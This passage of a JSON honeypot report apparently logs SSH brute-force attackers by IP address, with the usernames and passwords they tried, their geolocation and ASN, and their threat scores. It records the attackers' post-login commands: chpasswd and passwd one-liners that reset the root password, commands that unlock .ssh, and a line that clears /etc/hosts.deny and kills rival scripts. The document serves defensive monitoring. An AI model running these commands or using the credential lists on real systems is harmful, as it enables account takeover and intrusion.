      "usernames_attempted": [
        "root",
        "ftpuser",
        "odoo",
        "ubuntu",
        "345gs5662d34",
        "awsftpuser",
        "chen",
        "dev",
        "gaurav",
        "marina",
        "oracle",
        "postgres",
        "runner",
        "seal",
        "stud1",
        "test1",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "test",
        "10202540",
        "1qaz@WSX@@",
        "345gs5662d34",
        "QWERT123",
        "Root25!",
        "ZAQ!2wsx2019#",
        "a12345678A",
        "abc1234",
        "admin",
        "awsftpuser",
        "chen",
        "dev2",
        "ftpuser19",
        "gaurav@123",
        "marina",
        "odooodoo",
        "oracle@",
        "pass12345"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ftpuser19\\naX57shw7Hv4Y\\naX57shw7Hv4Y\\n\"|passwd",
        "echo \"odooodoo\\nr1BRaoLLekzQ\\nr1BRaoLLekzQ\\n\"|passwd",
        "echo \"test\\nXCgOBNuFvBbI\\nXCgOBNuFvBbI\\n\"|passwd",
        "echo -e \"ftpuser19\\naX57shw7Hv4Y\\naX57shw7Hv4Y\"|passwd|bash",
        "echo -e \"odooodoo\\nr1BRaoLLekzQ\\nr1BRaoLLekzQ\"|passwd|bash",
        "echo -e \"test\\nXCgOBNuFvBbI\\nXCgOBNuFvBbI\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 408,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T00:33:57.690000+00:00",
        "last_seen_30d": "2026-04-18T01:18:06.819000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 91
      }
    },
    "103.72.147.77": {
      "attack_count": 304,
      "first_seen": "2026-04-27T11:31:26.269Z",
      "last_seen": "2026-04-27T12:15:54.878Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftproot",
        "root2",
        "tomcat"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123QWEasd123",
        "1QAZ.2WSX",
        "1qazxsw@cde#",
        "321oracle123",
        "Ch1r1m0y4",
        "Rhosts:authentication:refused:for:%.100s::bad:ownership:or:modes:for:home:directory.",
        "Support@123",
        "Xh2024!@",
        "admin_2026",
        "administrator:",
        "apoulain@123",
        "jassonsoft-mas08",
        "mandragora",
        "nethub",
        "qaz1111",
        "qaz2026",
        "root123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7jzSR40h56xk\"|chpasswd|bash",
        "echo \"root:HnBL3LQKLPZp\"|chpasswd|bash",
        "echo \"root:PfAaNcXG80s8\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 34.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T11:31:26.269000+00:00",
        "last_seen_30d": "2026-04-27T12:16:56.932000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 57
      }
    },
    "196.0.120.211": {
      "attack_count": 304,
      "first_seen": "2026-04-02T09:36:02.290Z",
      "last_seen": "2026-04-02T11:01:31.807Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A1B2C3",
        "AA#123456",
        "AA000",
        "Aa121212",
        "Ab003",
        "Abc@12",
        "Abcd123",
        "Efghi123456",
        "Huaweipassword123",
        "Login2026",
        "Qq$123",
        "Qq2222",
        "Root11111",
        "System12",
        "password@123",
        "qwertyRoot123",
        "root*123",
        "root12345!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:39IuqYACafCE\"|chpasswd|bash",
        "echo \"root:nW1Y8qXTFdam\"|chpasswd|bash",
        "echo \"root:rXGKjUKrFcjJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Uganda",
      "country_code": "UG",
      "city": "Kampala",
      "asn": 21491,
      "as_org": "UGANDA-TELECOM Uganda Telecom",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:36:02.290000+00:00",
        "last_seen_30d": "2026-04-02T11:02:32.538000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 63
      }
    },
    "81.193.159.166": {
      "attack_count": 266,
      "first_seen": "2026-04-22T09:31:36.828Z",
      "last_seen": "2026-04-22T10:22:50.961Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "ftpuser",
        "admin1234",
        "ali",
        "connect",
        "csgo",
        "ftp-test",
        "mani",
        "openstack",
        "str",
        "t",
        "teamspeak",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123456789!",
        "12345Qwerty",
        "123ftpuser123",
        "A1234567J",
        "Admin@123#",
        "Password@12",
        "Qwertyuiop!!",
        "Qwertyuiop2023",
        "a123456c",
        "admin1234",
        "alipass",
        "connect",
        "csgo",
        "ftp-test@2025",
        "mani123",
        "openstack",
        "qwerty123456!@#$%^"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ZMb7ZCJJMtd1\"|chpasswd|bash",
        "echo \"root:fsrMqMIK3sOU\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Santa Cruz das Flores",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 338,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T09:31:36.828000+00:00",
        "last_seen_30d": "2026-04-22T10:23:55.831000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 266,
        "Suricata": 72
      }
    },
    "110.238.112.42": {
      "attack_count": 263,
      "first_seen": "2026-04-21T14:04:54.724Z",
      "last_seen": "2026-04-21T14:35:07.777Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "odoo",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "ali",
        "av",
        "backupuser",
        "db",
        "luis",
        "openvpn",
        "rootuser",
        "student"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZxsw2",
        "1234",
        "12qw12qw",
        "2021",
        "Aa123456!@#",
        "Aa520250",
        "Ali2025!@#",
        "M@sterP@ss",
        "Odoo23",
        "Odoo25",
        "Qazwsx2024@@",
        "Qwe@",
        "Root54321..",
        "Steam#",
        "av123",
        "backupuser",
        "db",
        "luis"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Odoo25\\nZbhGjXEvQYOE\\nZbhGjXEvQYOE\\n\"|passwd",
        "echo \"Steam#\\nxRCX2TPlikbA\\nxRCX2TPlikbA\\n\"|passwd",
        "echo -e \"Odoo25\\nZbhGjXEvQYOE\\nZbhGjXEvQYOE\"|passwd|bash",
        "echo -e \"Steam#\\nxRCX2TPlikbA\\nxRCX2TPlikbA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 326,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T14:04:54.724000+00:00",
        "last_seen_30d": "2026-04-21T14:36:10.938000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 63
      }
    },
    "211.105.129.57": {
      "attack_count": 263,
      "first_seen": "2026-04-07T07:16:42.480Z",
      "last_seen": "2026-04-07T07:59:52.000Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "odoo",
        "345gs5662d34",
        "postgres",
        "service",
        "ubuntu",
        "adminuser",
        "claude",
        "deployer",
        "dev",
        "rover",
        "saiful",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123698745",
        "1qaz.2wsx",
        "9ol.@#",
        "Admin@1234",
        "Password1",
        "QWERTY@@",
        "Qazwsx8888@123",
        "S3cr3t",
        "Server03!",
        "Tb123456",
        "admin",
        "bbDD123",
        "bbQQ123123",
        "claude",
        "dev30!",
        "mypassword"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nyMNoCYhw1JDg\\nyMNoCYhw1JDg\\n\"|passwd",
        "echo \"mypassword\\nNwNDfPdFwGVs\\nNwNDfPdFwGVs\\n\"|passwd",
        "echo -e \"1234\\nyMNoCYhw1JDg\\nyMNoCYhw1JDg\"|passwd|bash",
        "echo -e \"mypassword\\nNwNDfPdFwGVs\\nNwNDfPdFwGVs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 331,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T07:16:42.480000+00:00",
        "last_seen_30d": "2026-04-07T08:00:56.335000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 68
      }
    },
    "211.219.22.213": {
      "attack_count": 262,
      "first_seen": "2026-04-05T17:31:25.246Z",
      "last_seen": "2026-04-05T18:27:06.938Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "loguser",
        "developer",
        "ftpuser",
        "ivan",
        "jim",
        "milan",
        "server",
        "test",
        "testuser",
        "vivi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1029384756",
        "123456",
        "12345678",
        "2026.com",
        "Ab147258",
        "Abcd1234567@#",
        "Login@123",
        "Password@2022",
        "QQzz1234",
        "Qaz123wsx",
        "Qazwsx111@",
        "TestUser",
        "aaDD000",
        "bbZZ112233",
        "dev",
        "diamond",
        "ftppasswd",
        "jim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\njhA9mtJUPVUJ\\njhA9mtJUPVUJ\\n\"|passwd",
        "echo \"root:lrrxa8qIou2y\"|chpasswd|bash",
        "echo -e \"123456\\njhA9mtJUPVUJ\\njhA9mtJUPVUJ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seocho-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:31:25.246000+00:00",
        "last_seen_30d": "2026-04-05T18:28:14.125000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "45.207.221.76": {
      "attack_count": 262,
      "first_seen": "2026-04-15T13:57:06.937Z",
      "last_seen": "2026-04-15T14:46:03.116Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "server",
        "frappe",
        "ftp",
        "ftptest",
        "ftpuser1",
        "lsk",
        "openproject",
        "pmuser",
        "sammy",
        "sonaruser",
        "sysadm",
        "system",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1qaz2wsx",
        "QWERTYUI",
        "Qaz@1234",
        "Qazwsx11111111#$",
        "Qqq123456",
        "Server!123",
        "Test!@#",
        "Xx123456",
        "a123456r",
        "ab123123",
        "admin123456@123",
        "frappe03",
        "frappe18!",
        "frappe25!",
        "ftpuser123",
        "openproject"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Server!123\\nTr7B33Fp3HE4\\nTr7B33Fp3HE4\\n\"|passwd",
        "echo \"root:YAUeuAK72H65\"|chpasswd|bash",
        "echo -e \"Server!123\\nTr7B33Fp3HE4\\nTr7B33Fp3HE4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T13:57:06.937000+00:00",
        "last_seen_30d": "2026-04-15T14:47:09.079000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "81.192.46.45": {
      "attack_count": 260,
      "first_seen": "2026-04-10T04:38:35.353Z",
      "last_seen": "2026-04-10T05:16:47.164Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "amssys",
        "cvsuser",
        "hadi",
        "n8n",
        "testmail",
        "user",
        "xytest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "2233",
        "A123456\"1",
        "A123456a:",
        "Admin1#$",
        "Deneme123",
        "Qazwsx2023$",
        "Root123123!@#",
        "admin123456789.",
        "amssys",
        "bharat123",
        "n8n01!",
        "passwort",
        "qaz123..",
        "qazwsx2021@#",
        "qazwsx4321!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BPIgq9Bw3uLD\"|chpasswd|bash",
        "echo \"root:TGRhFXelR5uo\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T04:38:35.353000+00:00",
        "last_seen_30d": "2026-04-10T05:17:55.633000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 69
      }
    },
    "45.232.73.84": {
      "attack_count": 236,
      "first_seen": "2026-04-27T12:04:20.603Z",
      "last_seen": "2026-04-27T12:51:16.917Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sysroot",
        "wytroot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123QWEzaqXSW",
        "@#qwe123",
        "PAs$word1",
        "Qwe112233",
        "Yhsj@123",
        "[dvs]",
        "booboo",
        "boyun2024",
        "gz@edu$2025",
        "hadoop1234567",
        "p0o9i8u7y6t5r4e3w2q1p0o9",
        "p@55w0rdroot:server",
        "q1w2e3r4t5y6u",
        "root5202614",
        "rootroot1234!@#",
        "welcome:",
        "wytroot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:sEL6TnHHV5ZN\"|chpasswd|bash",
        "echo \"root:sgiN3qgoIoFx\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Londrina",
      "asn": 267251,
      "as_org": "TELEFONARNET TELECOMUNICACOES",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T12:04:20.603000+00:00",
        "last_seen_30d": "2026-04-27T12:52:26.897000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "197.153.57.103": {
      "attack_count": 219,
      "first_seen": "2026-04-29T01:26:01.389Z",
      "last_seen": "2026-04-29T02:16:55.496Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "hmsftp",
        "345gs5662d34",
        "developer",
        "ftpadmin",
        "ftpuser",
        "minecraft",
        "oracle",
        "postgres",
        "test",
        "test1",
        "testssh",
        "testuser",
        "user-backup",
        "user13"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "123456789",
        "1234abcd",
        "1234rewq",
        "123vps",
        "3245gs5662d34",
        "345gs5662d34",
        "5555555",
        "Abc12345",
        "Digital@123",
        "P@$$w0rd",
        "P@$$w0rd123",
        "Password!@#$",
        "Qwer1234!@#$",
        "a",
        "admin$11",
        "admin17",
        "azerty"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"hmsftp123\\nW5wceWyy2iJT\\nW5wceWyy2iJT\\n\"|passwd",
        "echo -e \"hmsftp123\\nW5wceWyy2iJT\\nW5wceWyy2iJT\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
